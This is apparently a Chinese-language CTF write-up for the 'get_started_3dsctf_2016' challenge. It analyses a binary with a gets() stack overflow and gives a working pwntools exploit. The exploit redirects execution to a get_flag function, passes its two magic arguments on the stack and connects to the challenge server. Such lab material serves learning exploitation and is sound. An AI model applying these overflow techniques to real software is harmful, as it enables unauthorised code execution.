分析
checksec
1 2 3 ➜ pwn checksec --file=get_started_3dsctf_2016 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 1991) Symbols No 0 0 get_started_3dsctf_2016
ida
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[56 ]; printf ("Qual a palavrinha magica? " , v4[0 ]); gets(v4); return 0 ; }
显然gets函数溢出,查看一下v4:
1 2 3 4 5 6 7 -00000038 var_38 db 56 dup(?) +00000000 r db 4 dup(?) +00000004 argc dd ? +00000008 argv dd ? ; offset +0000000C envp dd ? ; offset +00000010 +00000010 ; end of stack variables
发现有个get_flag函数,地址0x80489A0 ,分析可知:
传入两个参数a1,a2
当a1和a2满足条件会读取flag文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void __cdecl get_flag (int a1, int a2) { int v2; unsigned __int8 v3; int v4; unsigned __int8 v5; if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt" , "rt" ); v3 = getc(v2); if ( v3 != 255 ) { v4 = (char )v3; do { putchar (v4); v5 = getc(v2); v4 = (char )v5; } while ( v5 != 255 ); } fclose(v2); } }
利用 直接通过溢出跳转到get_flag函数,然后通过栈上传入参数绕过if判断,这里要注意的,绕过后我们需要主动退出当前函数,代码如下:
1 2 3 4 5 6 7 from pwn import *p = remote('node5.buuoj.cn' ,28435 ) get_flag = 0x80489A0 exit_addr = 0x804E6A0 buf = b'a' * 0x38 + p32(get_flag) + p32(exit_addr) + p32(0x308cd64f ) + p32(0x195719d1 ) p.sendline(buf) p.interactive()